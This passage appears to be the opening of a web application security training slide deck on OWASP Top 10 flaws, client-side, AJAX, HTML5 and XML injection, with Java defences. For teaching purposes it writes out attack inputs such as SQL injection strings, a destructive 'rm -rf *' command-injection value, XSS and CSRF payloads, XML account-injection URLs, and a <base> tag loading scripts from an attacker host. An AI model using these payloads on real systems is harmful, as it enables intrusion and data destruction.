You are on page 1of 181

Web Application Security

Contents

• Web Application Security (OWASP TOP 10, Injection, XSS, CSRF, …)


• Client-Side Security (Javascript, AJAX, HTML5)
• XML Security (Injection, XXE, …)
• JSON Security
• Cryptography (Symmetric Key Cryptography, Hashing, PKI, …)
• Java Best Practices

2
Introduction

• CVE (Common Vulnerabilities and Exposures)


• A vulnerability is a mistake in software code that provides an attacker with
direct access to a system or network
• May allow an attacker to gain full access privileges
• An exposure is defined as a mistake in software code or configuration that
provides an attacker with indirect access to a system or network
• May allow an attacker to secretly gather customer information that could be sold
• CWE (Common Weakness Enumeration )
• Universal online dictionary of weaknesses that have been found in computer
software

3
Introduction

• Network Security
• Vulnerability Assessment
• Search for known issues
• CVE (Common Vulnerabilities and Exposures)

• Web Application Security


• CWE (Common Weakness Enumeration)
• Search for unknown issues

4
Nature of security flaws

Security flaws did exist, do exist and will exist...


• Cannot be fully avoided (cannot ever be 100% sure)
• Seems to be an eternal cat-and-mouse game
• So is it worth investing a lot of effort in a useless fight?
• To guarantee full protection is indeed very hard and needs
remarkable investments
• But doing it right in the first place is "free"
• (90% of incidents stem from known problems!)
• In addition, effective, cheap and specific protections do exist against typical
security flaws

5
Reasons of difficulty

• It is an unbalanced fight
• Available time and resources of the developers vs. motivation and
preparedness of hackers
• Developers have to patch all vulnerabilities, hackers only need to find one
• Security testing is challenging
• Functional testing checks for how the system should work, while in case of
security it is about how the system should not work
• Weak business motivation by market forces
• Due to the technical difficulties of measuring the level of security, there is no
real customer enforced competition

6
From an infected computer to targeted attacks

• An average end-user may say: “I do not store any valuable data on my


computer, so why should I care?”
• But that's a mistake
• They still want your resources (or just your money)
• Effects emerge at a global level – world-wide spread of malware
• Direct effects on the user: spyware, adware, ransomware, …
• Building botnets – networks of zombie machines that they control
• Your resources are used to commit wide-scale or targeted attacks (SPAM → phishing, cracking
cryptography, DDoS, …)
• This is not done for fun any more
• They make good money: cybercrime is a big business
• Even worse: cyber war and cyber terrorism are an emerging issue
• Attacking government sites, critical infrastructure, etc.

7
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
8
SQL Injection

• Very common problem: composing an SQL command via string operations


by using external (user) input:
String username = request.getParameter("username");
String password = request.getParameter("password");
String query = "SELECT * FROM users WHERE user = '"
+ username + "' AND pass = '"
+ password + "'";
ResultSet rs = stmt.execute(query);

• This would be the expected query:


SELECT * FROM users WHERE user = 'admin' AND pass = 'supersecret'
• However, if the value of password is set to whatever' OR 'a'='a,
the SQL command will always return the admin user ignoring the password:
SELECT * FROM users WHERE user = 'admin' AND
pass = 'whatever' OR 'a'='a'

9
SQL Injection

• Another example
SELECT * FROM items WHERE owner = 'admin' AND itemname = 'pen'

• If the value of itemName is set to name' OR 'a'='a, the SQL command


will query each item from the table:
SELECT * FROM items WHERE owner = 'admin' AND
itemname = 'name' OR 'a'='a'

10
Typical SQL Injection attack methods

SELECT * FROM users WHERE user=<username> AND pass=<password>


• SQL comment strings, like #, --, or /*
• <username>=a’ #
• Comments out the rest of the WHERE clause
• DBMS dependent
• Using the UNION construct
• <password>=a’ union select 1,2,3,* from private_info #
• Querying data from other, more 'interesting' tables
• Note that UNION only works if the two queries return the same number of columns
• Using query stacking, support for multiple statements
• <password>=a’; DELETE * from users #
• ; is command separator in some SQL DBMSs
• Availability depends on platform and DBMS

11
Blind and time-based SQL injection

• No information is dumped to the query, there are no error messages;


can we still exploit the SQL injection?
• We can still extract information "bit-by-bit" if something appearing on the
page depends on the query
• True/false SQL queries
• Force the query to either return some or no results (what we can detect from
the site behavior) depending on a condition
' AND <something_returning_true_or_false> #
• If really NOTHING appears on the web page from the query, just make the
query wait a bit depending on the condition, and detect the delays (time-
based SQL injection)
• This attack is of course not done manually, but is automated by using
tools (SQLMap, …)
12
SQL Injection protection methods

• Blacklist-based validation: filtering out certain characters or keywords


• Problem: DROP DRO/**/P
• Problem: character encoding (e.g. Unicode)
• And may also filter out legitimate input…
• Stored procedures
• But still be careful if you create them dynamically…
• Prepared statements
• Use a constant string instead of string concatenation, and fill in the parameters through an API

String query="SELECT * from table WHERE id=" + var;

String query="SELECT * from table WHERE id=?";


PreparedStatement preparedStatement=conn.prepareStatement(query);
preparedStatement.setInt(1, Integer.parseInt(var));

13
Exercise

SQL Injection Exercise

14
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
15
Command injection

String btype = request.getParameter("backuptype");


String cmd = new String("/usr/bin/backup.sh "+btype+" & /usr/bin/cleanup.sh");
System.Runtime.getRuntime().exec(cmd);

• A shell command string composed from user input is used to start other
programs with a parameter
• Expected command if value of backuptype is e.g. FULL:
/usr/bin/backup.sh FULL & /usr/bin/cleanup.sh
• However, if backuptype is "& rm -rf *", the executed command will be:
/usr/bin/backup.sh & rm -rf * & /usr/bin/cleanup.sh
• The solution for the above example would be trivial
• Whitelisting-based validation of the parameter
• But in general, this is not necessarily the case
16
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
17
Session handling challenges

• The attacker can learn the session ID of a victim and impersonate it


through session hijacking attack by e.g.
• Sniffing network packets if they are unencrypted
• Injecting a script into the page (XSS) and reading the cookies (if possible)
• Guessing or brute forcing the session ID if its randomness is weak
• If the session ID can be set (e.g. if transmitted in the URL), an attacker
can perform a session fixation attack
• The attacker connects to a site and gets a session ID
• The attacker logs in
• Sends the URL to the victim or potential victims (≈phishing)
• Victim is tricked to open this link and performs actions there

18
Session handling best practices

• Requirements on session IDs


• At least 128 bits in length
• Should be random, i.e. unpredictable
• At least 64 bits of entropy (randomness) in the ID
• The non-random part should not reveal any sensitive information
• Should be stored in a cookie and protected appropriately
• Upon a successful authentication
• Always create a new session (ID)
• Copy all data into the new session from the old one
• Then invalidate the old session

Do not implement custom session management


and session ID generation / handling

19
Setting cookie attributes – best practices

• secure prevents the cookie from being sent unencrypted


• Not setting it might leak the session ID through HTTP
• http-only prevents scripts from accessing the cookie
• An injected script cannot access and steal cookies
• Auth cookies should always expire via Max-Age or Expires
• Domain should be set appropriately
• One can also set the path to further limit the cookie usage
Cookie cookie = new Cookie("myvar", "xyz");
cookie.setDomain("example.com");
cookie.setMaxAge(24 * 60 * 60); // 24 hours
Set-Cookie: myvar=xyz; Expires=12/12/2017; Secure; HttpOnly;
cookie.setSecure(true);
cookie.setHttpOnly(true);
response.addCookie(cookie);

20
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
21
Cross-Site Scripting (XSS)

• HTML/script injection vulnerability


• Allows the attackers to inject a malicious script into a page (HTML) or into any
data that is sent to the victim's browser
• JavaScript, HTML code, Flash, any other executable code
• Enables phishing, browser-based MitM, session and authentication
token stealing, stealing sensitive data, …

Impact: an attacker can do anything that the user


can do with his session

22
Persistent XSS

• The attacker is able to store a script in a database (or some other


persistent storage) on the server
• Script gets to the client and executes when visiting a site that renders
some data from this database (e.g. forum)

<% …
String name="(unknown)";
String sql="select * from emp where id=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1,request.getParameter("eid"));
ResultSet rs = pstmt.executeQuery();
if (rs != null) {
name = rs.getString("name");
}
… %>
Employee name:<%= name %>

23
Reflected XSS

• The user is tricked to send a request with malicious data (script),


which is put back (reflected) to the response page without validation
• The script contained in the parameter of the malicious HTTP request
will be executed by the victim's browser

<%
String eid=request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

24
DOM-based XSS

• Many websites process parts of the URL client-side – AJAX sites


typically store page state information after the #, since that is never
sent to the server
• Without validation an attacker may be able to inject arbitrary DOM
elements, including <script> tags
<strong>The current URL is: </strong>
<span id="container"></span>
<script src="jQuery-latest.js"
type="text/javascript"></script>
<script>
$("#container").html(document.baseURI);
</script>

• Example attack URL:


http://example.com/index.html#<script>alert("XSS");</script>
25
Injection through other HTML tags
• Another possible exploitation: the injection of a <base> tag
• <base> sets the base URL for all subsequent links on the page
• Supposed to be in <head> only, but not all browsers follow the standard
• Firefox, Chrome: one <base> per file, but it can also be in <body>
• IE8: <base> is only used if it is in <head>
• The attacker can change the base URL with XSS to point at his site
• Point all URLs onto the attacker’s site
• Execute JavaScript from the attacker’s site
<html>
<head>...</head>
<body>
...
This is a comment.<base href=“http://www.haxxor.com”>
User provided
... (injected) text
<a href=“/index.aspx”>Back to home</a>
<script src=“pagestats.js”></script>
</body> Redirected links
</html> 26
XSS prevention

• Filtering: both when storing data and during page generation


• Typical (incorrect) solution: blacklisting
• Filter out only <script> blocks, or general string patterns such as script, javascript:, eval(.*), …
• Drawback: may filter legitimate input, while does not guarantee full protection from XSS
• Correct solutions (but depends on the situation)
• Escaping / tag stripping: replacing "<"&lt; ">"&gt;
• Challenge: if you want to allow users to still use some tags
• Whitelisting: allowing certain tags (e.g. formatting)
• Selective escaping - e.g. leaving just <i>, <b>, <u>, …
• Common solution: using special tags, escaping everything, then replacing only these (e.g. [i], [b], [u], …)
• DOM-based: sanitization in JavaScript, writing to .text instead of .html
• In addition: most browsers will stop (reflected) XSS attacks
• They check if any of the parameters appear on the page

27
XSS prevention tools in Java and JSP

• In JSP, when user-controlled input is displayed, use:


• <c:out> from JSTL tag library
<p><c:out value="${bean.userInput}"></p>

• String escapeXml(String) function from java.lang.String


<p><input name="par" value="${fn:escapeXml(param.foo)}"></p>

• OWASP
• OWASP Enterprise Security API (ESAPI)
https://www.owasp.org/index.php/ESAPI
• Also includes validation on the server in
org.owasp.esapi.reference.DefaultValidator
(relies on the ESAPI Encoder, Java Pattern regex)
• OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

28
Exercise

XSS Exercises

29
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
30
Cross Site Request Forgery (CSRF)

• The attacker makes the already authenticated user to send a request


• Social engineering + malicious code
• Possible because browsers send session cookies automatically
• The malicious code inherits the identity of the authenticated user
<img src="http://www.mybank.com/passchange.jsp?pass=attack">

• XSS: malicious code is part of the attacked site


• Exploits the trust a user has in a particular site
• CSRF: malicious URL causes an unintended HTTP request to the
attacked site
• Exploits the trust that a site has in the user's browser

31
Login CSRF

• The attacker forces the user to log in at another site with the
attacker’s credentials – account fixation
1. Attacker creates account on target site
2. Attacker exploits CSRF with an attack string such as
<img src="http://www.example.com/login.jsp?user=attacker&pw=attackerpw">

3. User is invisibly logged into the target site


4. When user uses the target site, they will still be logged into the attacker’s
account
• Possible goals
• Search engines  attacker can obtain search history
• Accounts that handle credit cards  attacker can trick the user to add credit
cards to the attacker’s account

32
CSRF prevention

• Including an unpredictable token in the body or the URL of each


HTTP request – a typical solution against replay attack
• The token is not sent by the browser automatically
• Not known by the attacker
• Unique for the user session or for every request
• E.g. in a hidden field:

<form action="passchange.aspx" method="post">


<input type="hidden"
name="680754807546"
value="54656897546" >
...
</form>

33
CSRF prevention in Java frameworks

• CSRF protection is typically done automatically by popular Java


frameworks
• Spring, JSF, Vaadin, …
• In Spring, add a CSRF token to each page:
<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>

• Or just put a <csrf/> tag inside a <form>


• In JSF, add pages to faces-config.xml (adds token to URL):
<protected-views>
<url-pattern>/page_to_be_protected.xhtml</url-pattern>
</protected-views>

• Vaadin adds CSRF tokens to all requests, and checks them on server
side (no action needed from developer)
34
Exercise

CSRF Exercise

35
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
36
Insecure direct object reference

• It is very common to reference files and objects through parameter


values directly
• E.g. the following page is supposed to display the content of faq.txt
http://www.a.com/document.jsp?page=faq.txt
• This is convenient and maintainable, but…
• Is the page parameter validated properly?
• Can somebody set its value to point to some files or sources of data that
cannot be accessed otherwise?
• An attacker can abuse this to access:
• Files that an ordinary user is not supposed to access
• Or even possibly system files

37
Protection against insecure direct object reference

• Instead of referring to objects directly, introduce an abstraction layer


applying IDs
• Define a "code" for possible actions your code can take
• Then map these IDs to actual objects, e.g. filenames:
1  faq.txt
2  help.txt
3  about.txt

• At the same time, this enforces a whitelist validation
• Rule of thumb: minimize the effects of user input on your code
• It is all about minimizing the attack surface

38
Exercise

Insecure Direct Object Reference Exercise

39
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
40
Missing function level access control

• Failure to restrict URL access


• Access to some paths is not set properly (misconfiguration)
• And/or some debug/admin/test pages without actual links
• info.jsp, test.jsp, shortcut.jsp, …
• Saying "there is no link to it so they will not find it anyway" is simply security by obscurity –
they will find it
• A very typical mistake: client-side security functionality
• E.g. just hiding a button on the UI
• Any file upload is also extremely critical functionality
• Dangerous file uploads: executables (jsp), binaries, …
• One can possibly open a remote shell to the server by them
• But needs to know the place of upload on the server + that path should be accessible
and executable (misconfiguration)

41
Exercise

Authorization Bypass Exercise

42
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
43
Filtering file uploads

• Typical weak protections – still OK as a first protection layer


• Filtering file extensions
• Filtering MIME type (specified by the uploader client)
• Set the file name/extension on the server explicitly yourself (attacker can still
learn it in a way or the other)
• Best practice
• Try to process the file with type-appropriate functions
• An error or exception will be an indication of a malformed file
• Specifically for image uploads this is typically for "free": resampling is done to
limit the file size of the stored image

44
Exercise

Unvalidated File Upload Exercise

45
Web application security
Web Application Security
• SQL Injection
• Command Injection
• Broken Authentication and Session Management
• Cross Site Scripting (XSS)
• Persistent, Reflected, DOM based
• Cross Site Request Forgery (CSRF)
• Insecure Direct Object Reference
• Missing function level access control
• Unvalidated file upload
• Unvalidated redirects and forwards
46
Unvalidated redirects and forwards

• Main issue: a user-provided path is used in an immediate redirect


(without user prompt)
• Open redirect: user is redirected to the attacker's page
http://a.com/redir.jsp?r=http://www.evilhacker.com/
• The redirect target page should be validated
• Or at least there should be a warning on redirect
• Open forward: attacker redirects to an admin page
http://a.com/fwd.jsp?f=/admin/userlist.jsp
• This page would normally not be accessible, but if fwd.jsp loads the
forwarded page directly, it might circumvent the appropriate access control
checks
• Again, validation should be in place

47
Client Side Security
Client Side Security

• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts

49
JavaScript security

• JavaScript is part of a Web browser and is executed in the client


environment
• To minimize the risk posed by a malicious JavaScript code, browsers
implement the following restrictions
• Scripts run in a sandbox to stop a malicious web site from attacking your
computer
• Scripts are constrained by the Same Origin Policy, so a malicious web site
cannot interact with another web site

50
Same Origin Policy

• Prevents elements on one page from accessing other pages


• Origin refers to: domain name, protocol and port
• Elements on a page without a specific origin (like e.g. JavaScript or data) inherit their
origin from the page
• Cross-origin accesses
• Cross-origin write (sending): allowed to any origin
• Examples: links, redirects, form submission
• Without this pages would only to link to themselves
• CSRF and clickjacking is still possible (not in scope of SOP)
• Cross-origin read (receiving): permitted only from same origin
• But is typically circumvented by embedding
• Cross-origin embedding: allowed from any origin
• Examples: JavaScript (the <script> tag), CSS (<link…>), images (<img>), <audio>, <video>,
<iframe>, …

51
Same Origin Policy – origin checking rules

• Result of same origin check against the URL:


http://www.sl.com/dir/p.html

52
Cross Origin Resource Sharing (CORS)

• HTTP access control - rules and restrictions


of sending and receiving
• Simple request
• For GET and HEAD the request is sent
• Also for POST, but only for the following
Content-Types:
• text/plain
• application/x-www-form-urlencoded
• multipart/form-data
• The response is received only from the same origin
• Browser will block it - if the request came from a JavaScript, an error will occur in the callback
• Unless the server allows receiving with
Access-Control-Allow-Origin
• But sending is enough to steal information

53
Cross Origin Resource Sharing (CORS)

• Preflight request
• Request is not directly sent for (POST), PUT, DELETE, and other custom HTTP
methods
• First a preflighted request (inquiry) is sent by using the OPTIONS method
• Then the server replies with a "consent" to receive certain methods
• The original request is sent only upon consent
• Otherwise even the sending is blocked
• Not even the request is sent at the end

54
Spot the bug – Client-side security
function check()
{
if ( SHA1(document.auth.pass.value) == '43206512b209ba29cb5c642edc85bdac133354fe')
{
window.location.href="admin_page.jsp";
}
else
{
alert('Invalid password!');
}
}

55
Spot the bug – Client-side security
function check()
{
if ( SHA1(document.auth.pass.value) == '43206512b209ba29cb5c642edc85bdac133354fe')
{
window.location.href="admin_page.jsp";
}
else
{
alert('Invalid password!');
}
}

• Authentication is implemented on the client


• Client-side security is no security at all!
• Do not rely on any client-side checks, validations, or generally any security-related
functionality
• Input validation on client side can reduce network traffic
• But must be repeated on the server!

56
Client-side authentication and password management

• Typical mistakes
• Client-side authentication or security functionality
• Hardcoded passwords
• Best practices
• Always use server-side authentication – doing it on client-side is based on
security by obscurity by definition
• Do not use any hardcoded passwords in your JavaScript code, not even in
encrypted/obfuscated form
• Hackers will find a way to learn these passwords

57
Exercise

Client Side Authentication Exercise

58
Protecting JavaScript code

• Obfuscation methods
• Renaming functions, variables, … everything
• Structural transformations (changing layout, command order)
• Data transformations (e.g. [][] → [], encoding all text)
• Control transformations (e.g. regroup statements)
• In case of native code: automatic decompilation is harder
• JavaScript: it just makes the human understanding harder
• But obfuscation is just security by obscurity at the end
<script>
eval(
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!
![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+
!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
)
</script> 59
Exercise

Javascript Obfuscation Exercise

60
Clickjacking

• Using a technique called Clickjacking, the attacker can fool the user to
perform otherwise unwanted actions
• Same effect as Cross-site Request Forgery, but works even if CSRF protections
(e.g. token) are in place
• Clickjacking attack is very sensitive to positioning
• But attacker can clip and enlarge the framed buttons
• The frame can be positioned with anchors and HTML element IDs to the right
place

61
Protection against Clickjacking

• Basically: do not allow to be framed


• Protection through HTTP (response) headers that are respected by the
browsers
• X-Frame-Options – now obsolete
• frame-ancestors directive of Content Security Policy
• JavaScript protection
• Framebusting: check if you are displayed in a frame, and break out of it by reloading,
e.g.:
If (top != self) top.location=self.location;
• Or hide or obscure content if not the top element
• Used e.g. by Facebook and Twitter
• Check referrer to still allow framing for some (whitelist)
• But all that might not be enough…

62
Anti frame-busting – dismissing protection scripts

• Registering an onBeforeUnload event in the framing page that returns a


prompt asking the user if he/she wants to cancel the navigation request
• Most browsers will not prompt the user if the event handler navigates to a site
that responds with 204 - No Content.
• Let the browser's XSS filter stop the frame-busting script
• Just put the protection script into the URL
•…
https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

63
Protection against busting frame busting

• Best practice
• frame-ancestors directive of Content Security Policy
• For legacy browsers
• First, hide all content when the page is loaded
• It should only be displayed if you are top (not framed)
• If JavaScript is disabled or someone tries to dismiss your framebusting script in any way,
page will remain blank
• If you are not top, frame-busting will occur

<style> body { display : none; } </style>


<script>
if ( self == top ) {
document.getElementsByTagName("body")[0].style.display='block';
}
else {
top.location=self.location;
}
</script>
64
Exercise

Clickjacking Exercise

65
Content Security Policy

• Browser-level protection against some attacks


• Enabled by server sending Content-Security-Policy header
• Supported by all major browsers
• CSP features
• Can enforce HTTPS
• XSS protection: only execute scripts from whitelisted hosts; disallow eval() and inline
resources by default; configurable protection against reflected XSS
• HTML injection prevention: explicitly specify base URI
• Content protection: only allow content (frames, iframes, fonts, images, media,
CSS,…) from whitelisted sources
• Clickjacking protection (frame-ancestors)
• If the policy is violated, a POST request is sent to the specified URI
• Full documentation available at:
https://developer.mozilla.org/en-US/docs/Web/Security/CSP

66
Client Side Security

• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts

67
AJAX

• AJAX = Asynchronous JavaScript and XML


• A client/server code interaction where
• Layout and formatting are implemented by the Web page
• Client scripts interact asynchronously with the server
• But parts of the page are loaded based on the content received
asynchronously from the server
• Especially dangerous when the AJAX downstream data is a valid
JavaScript (e.g. when doing JSONP)
• The received response is a JavaScript that is processed with eval() and so run
by the browser
• Various types of injection are possible!

68
XSS in AJAX

• XSS challenges in case of AJAX


• Downstream communication (response) data is typically more complicated
than just an HTML page
• User controlled data might be
• In arguments in dynamically created JavaScript
• In JavaScript arrays
• Parsed and formatted by JavaScript
• Dynamically written into the DOM
• Dynamically written into the page with document.write or equivalent
• As a result, attacking a site is more difficult
• But so is protecting it against XSS

69
Script injection attack in AJAX

• Input is received and eval()'d from an AJAX response


eval("var rcvd = '" + xmlhttp.responseText + "'; ");

• Assume the response is 42'; alert(1); var b='a


• Attacker-controlled input gets into an eval and is run
• Server-side escaping is very tricky in such situations
• Response (and thus a potential XSS payload) can be processed or
inserted into a page in lots of ways:
• eval(): extremely dangerous, direct JavaScript injection
• object.innerHTML: tags will be interpreted by browsers
• document.write: tags will be interpreted by browsers
• object.innerText: will be always shown as text
70
Exercise

XSS in AJAX Exercise

71
CSRF in AJAX

• If the AJAX endpoint returns a JavaScript that is eval()'d, it is executed


to provide the desired functionality (e.g. JSONP)
• The attacker cannot directly exploit this (e.g. to steal the contained
information) because of the Same-origin policy
• CSRF with scripts
• Typical attack: <script src="http://…AJAX_endpoint…">
• Same-origin policy is not enforced for embedded scripts
• This allows the attacker to steal information even cross-domain embedding
the returned script to its own site
• It is CSRF because the endpoint should be available
• The used should be logged in

72
CSRF protection in AJAX

• Avoid sending valid JavaScript as a response


• Or if you do:
• Add while(1); in front of any JavaScript
• Google’s choice (check out Gmail)
• Add garbage that will break the script
• Letters
• HTML tags
• Quotes
• AJAX request has full access to the text content and can strip while(1); or any added
garbage. A <script src=…> tag blindly executes the javascript code without any
processing
• Use CSRF protection token (random)
• Use referrer check to send a response only to the same domain
• Might be spoofed if not handled correctly!

73
Exercise

CSRF in AJAX Exercise

74
Client Side Security

• Javascript Security
• Same Origin Policy
• Cross Origin Resource sharing
• Obfuscation
• Clickjacking
• Content Security Policy
• Ajax Security
• XSS
• Injection
• CSRF
• HTML5 Security
• XSS
• Clickjacking
• Form Tampering
• Cross Origin Requerts

75
HTML5 security

• HTML5 is a set of new features added to HTML4 mainly to improve support


for multimedia and server communication

• Some new features of HTML5


• New HTML tags and events
• Inline SVG support
• Localstorage, sessionstorage
• WebSQL
• Cross-origin requests (COR)
• Websockets
• Cross-document messaging
• Web Workers

76
New XSS possibilities in HTML5

• New tags:
• If a filter blocks only known tags that can execute JavaScript (blacklisting), the
following tags may still work:
• <video onplay="javascript:alert(1)">
• <audio onplaying="javascript:alert(1)">
• New events
• Old tags support new events
• <input type=text oninput=alert(1)>
• <form id=demo2 />
<button form=demo2 formaction=javascript:alert(1)>Click Me!</button>
• Autofocus can trigger the event automatically
• <input type=text onfocus=alert(1) autofocus>

77
HTML5 clickjacking attack – text field injection

• HTML5 introduced the Drag-and-Drop API


• With that an attacker can make you drag an element (e.g. enter a text) containing a value of its
choice to an arbitrary control or form element on the attacked site
• Cross-domain and even cross-application (e.g. the desktop)
• Text field injection ≈ "next generation of clickjacking"
1. Put and position the target text field into a hidden iframe (the field where the attacker
wants the user to drop a value)
2. Get user to start dragging something as a normal function
3. Change the drag data to the attacker's desired value by using dataTransfer.setData()
4. Make the target iframe follow the cursor during dragging
5. As user releases mouse button, the desired value is dropped into the target text field,
since it is underneath the cursor
6. Now position the OK/submit button in iframe
7. Get user to click (classic clickjacking)

78
HTML5 clickjacking – content extraction

• Attacker can also use the drag and drop feature to steal some
sensitive data from inside an iframe
• Again, social engineering tricks or a "Trojan" game
• Sensitive content extraction by two drag and drops
1. Trick the user to do a drag and drop
• At drag: position the first char in the field to steal
• At drop: position the last char in the field to steal
• This selects the desired text from the hidden iframe
2. Trick the user to do another drag and drop
• At drag: position some internal char of the field (selected text) so that it is
dragged
• Get the user to drop it on an element that the attacker can access

79
Form tampering

• Before HTML5, all of the elements of a form needed to be put inside


the <form> tags
• HTML5 form attribute allows a form element anywhere on the page
to associate itself with a particular form
• Moreover, such an element can change the form's
• Action
• Encoding type
• Method (GET, POST)
• Validation
• Target

80
Exercise

Form Tampering Exercise

81
Cross-origin requests

• Before HTML5, XMLHttpRequest (also an AJAX request) was strictly


restricted by the Same Origin Policy
• With HTML5 one can send cross-origin requests (COR)
• If the target site explicitly allows it to the originator
• Access-Control-Allow-Origin: Site A
• If the target site allows it for everybody
• Access-Control-Allow-Origin: *
• That is basically relaxing the strict Same Origin Policy

82
Exercise

Client Side Include - COR Exercise

83
XML Security
XML Security

• Injection
• XML Entity
• XML Bomb
• XML External Entity Attack (XXE)

85
Introduction

• XML: Markup language to represent diverse sets of data


• Open standard: http://www.w3.org/TR/REC-xml/
• General difficulties
• Binary data representation
• Internationalization
• Representing meta-characters in data
• Defining and validating schemas
• Parsing mechanisms
• Wide range of XML related standards
• XSLT, XSD, XPath, XQuery, DTD, XMLSig, XMLEnc, ...

86
XML parsing

• Typical XML parsing techniques


• SAX: State-oriented, step-by-step stream parsing
• Lightweight, but not as intelligent as DOM parsing
• Event driven, so a state machine is often necessary on top of the parser
• DOM: Resource-intensive but powerful parsing
• Additional Denial of Service opportunity if there is no limit on the size of the XML to
parse
• Both are vulnerable to XML injection unless used with the
appropriate XML schemas
• Always a bad idea: custom parsers
• XML tags inside CDATA block
• Entity substitution
• Character sets
87
XML injection introduction

• XML Injection is an attack technique used to manipulate or


compromise the logic of an XML application or service
• Occurs when user input is passed to XML stream
• Can alter the logic of the application
• Can cause the insertion of malicious content into the resulting message
• Can cause Denial of Service type attacks against the parser

88
Basic XML injection

• Let’s suppose we store some credentials in XML


<?xml version="1.0"?>
<users>
<user>
<username>admin</username>
<password>5F4DCC3B5AA765D61D8327DEB882CF99</password>
<type>admin</type>
<mail>admin@example.com</mail>
</user>
<user> ...
</users>

• When a user registers, the following request is generated by the


system
http://www.example.com/addUser?user=bob&pwd=12345&email=bob@attacker.com

89
Basic XML injection

• The application will build the following node, which will be added to
the XML database
<user>
<username>bob</username>
<password>827CCB0EEA8A706C4C34A16891F84E7B</password>
<type>user</type>
<mail>bob@attacker.com</mail>
</user>

• Consider that the attacker sends the following request


http://www.example.com/addUser?user=bob&pwd=12345&email=bob@attacker.com</
mail></user><user><username>attacker</username><password>827CCB0EEA8A706C4
C34A16891F84E7B</password><type>admin</type><mail>bob@attacker.com

90
Basic XML injection

• The XML database will contain the following entries


<?xml version="1.0"?>
<users>
<user>
<username>admin</username>
...
</user>
<user>
<username>bob</username>
...
<mail>bob@attacker.com</mail>
</user>
<user>
<username>attacker</username>
<password>827CCB0EEA8A706C4C34A16891F84E7B</password>
<type>admin</type>
<mail>bob@attacker.com</mail>
</user>
</users>

91
XML injection – discovery

• The first step to discover XML injection vulnerability is trying to insert


XML meta-characters
• Single and double quote: ' "
• Used in attribute values
• Angular parentheses: > and <
• Used in tag names
• Comment tag: <!-- / -->
• Ampersand: &
• Represents an XML entity
• CDATA section delimiters: <![CDATA[/]]>
• Escape blocks of text that won’t be parsed by the XML parser

92
(Ab)using CDATA

• Using CDATA the attacker can inject HTML tags if the data stored in
the XML is used for HTML generation
• Let’s consider the following HTML generated from XML
<html>username: $username</html>

• $username comes from an XML that the attacker can influence,


setting it e.g. to the following username
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

• During the processing, the following HTML code will be generated


<html>username: <script>alert('XSS')</script></html>

93
Exercise

XML Injection Exercise

94
XML Entity introduction

• Document Type Definition (DTD) specifies how elements and


references appear
• DTD can declare entities to define variables that can be used later
• Entity types
• Predefined entities: refer to mnemonic aliases for special characters (used e.g.
for escaping)
• Regular entities: refer to internal resources that use simple text substitutions
• External entities: refer to external resources

95
XML bomb

